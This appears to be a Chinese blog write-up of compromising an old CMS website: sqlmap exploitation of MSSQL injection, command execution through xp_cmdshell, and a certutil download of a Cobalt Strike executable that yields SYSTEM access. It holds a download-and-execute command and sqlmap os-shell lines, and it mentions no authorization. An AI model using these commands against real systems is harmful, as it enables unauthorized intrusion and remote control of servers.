一次简单又复杂的shell

简介: 简单又复杂的shell

640.png

从同事那拿到站点比较老旧的,到处都是注入点

       直接放入sqlmap里跑

640.png

       跑出注入后,看见是mssql,这里使用参数:--current-user,发现并不是sa权限。

       同事然后跑出后台账号密码后,找半天找不到后台。

       在这个站上找不到后台,随即放弃,然后通过子域名上,找到了一个同样的cms,也是到处都是注入到,同样的配方同样味道,还是找不到后台。

       再次丢入sqlmap发现是同一个数据库,只是两个站点在不同的库而已,就在快放弃的时候,同样执行了--current-user发现是sa权限,不同的站点居然数据库的权限不一样,这些有的搞了。

       既然找不到后台那就直接通过mssqlxp_cmdshell来写shell

       首先通过—os-cmd=whoami

640.png

       返回的是system权限

       然后再用—os-shell来实现交互式的shell,再通过powershell来上线cs

首先执行了一下dnslog判断一下目标机器出不出外网

640.png

       发现主机可以出外网,这时候就可以通过powershell进行上线啦,

但是执行的时候却命令后缺发现,跟我执行的命令不相同,仿佛再在列出进程的名字。

       而且不跑完执行不了我的命令,问了下同事有没有相同的状况,他说他执行了netstat,然后我们换了几个ip发现无论执行什么都要先把上次的命令执行结果回显完,才可以继续执行下一个命令。

       目标主机进程较多,跑是速度又慢,在等了将近4个小时之后终于跑完了。

然后进行poweshell的上线语句:

640.png

       发现有格式上的错误,经过了一下排错,怀疑可能是单引号跟双引号的符号问题。

       所以打算使用下载恶意exe并执行的形式来获取shell。

使用windos自带的证书下载的命令来绕过下载文件

certutil -urlcache -split -f https://xxxxxx cs.exe

下载完后,并执行,这时候nt同事说了一句看下有没有下载成功,随即执行了dir命令

       然后发现执行的目录在C:\Windows\System32,底下有9000+个文件,上面说了执行命令后必须回显完成才可以执行下一个命令,心中一万只草泥马奔腾而过。

       这里使用了服务器并且加上了sqlmap的免确认参数:--batch命令以及后台执行命令:nohup进行跑


nohup python sqlmap -r /root/1.txt --batch–os-shell=whoami &

最终在服务器上跑了28个小时才完成了全部回显。。。。。

在上面看到了我们上传的cs的马,随即进行执行

       成功上线,system权限

640.png


相关文章
|
7月前
|
存储 Unix Shell
什么是Shell
Shell是用户与操作系统内核之间的接口,允许用户通过命令行或脚本来与操作系统进行交互。 它解释用户输入的命令,并将其转换为操作系统能够理解的指令,然后执行这些指令并将结果返回给用户。
97 4
|
监控 关系型数据库 MySQL
我们一起来学Shell - 初识shell 1
我们一起来学Shell - 初识shell
95 2
我们一起来学Shell - 初识shell 1
|
7月前
|
安全 Shell Linux
什么是shell?
系统内核是操作系统的基本组成部分,它负责管理系统的硬件和软件资源,并提供一组基本的系统服务。内核是操作系统的核心,控制着计算机的所有主要功能,包括内存管理、进程管理、设备驱动程序、系统调用和安全防护等。内核在计算机中扮演着重要的角色,它为用户空间的应用程序提供访问硬件资源的接口,并通过进程间通信机制及系统调用来完成这些操作。内核的设计和实现对于操作系统的性能和稳定性有着至关重要的影响。 Linux系统的内核负责完成对硬件资源的分配、调度等管理任务,对系统的正常运行起着十分重要的作用。
|
Shell
如何在shell下面实现a+b
如何在shell下面实现a+b
67 0
|
机器学习/深度学习 Shell Linux
shell
shell
89 0
|
网络协议 Shell Perl
shell 常用
./sss xxx $1 $2 $# $0 $? tail -1 head -1 awk '{ if ($1=="FIND") print $2 }' 如何调试bash脚本 #!/bin/bash -xv function aa(){ echo "xx" } let $a=$b+$c $a=(($b+$c)) if[ -f /xx/xx ] then xxx fi for i in $(ls) do ccc done head -10 xx|tail -1 命令“export” 有什么用 ? 使变量在子shell 中可用。
984 0
|
Unix Shell Linux
Shell 快速指南
Shell 快速指南 ███████╗██╗ ██╗███████╗██╗ ██╗ ██╔════╝██║ ██║██╔════╝██║ ██║ ███████╗█████...
1200 0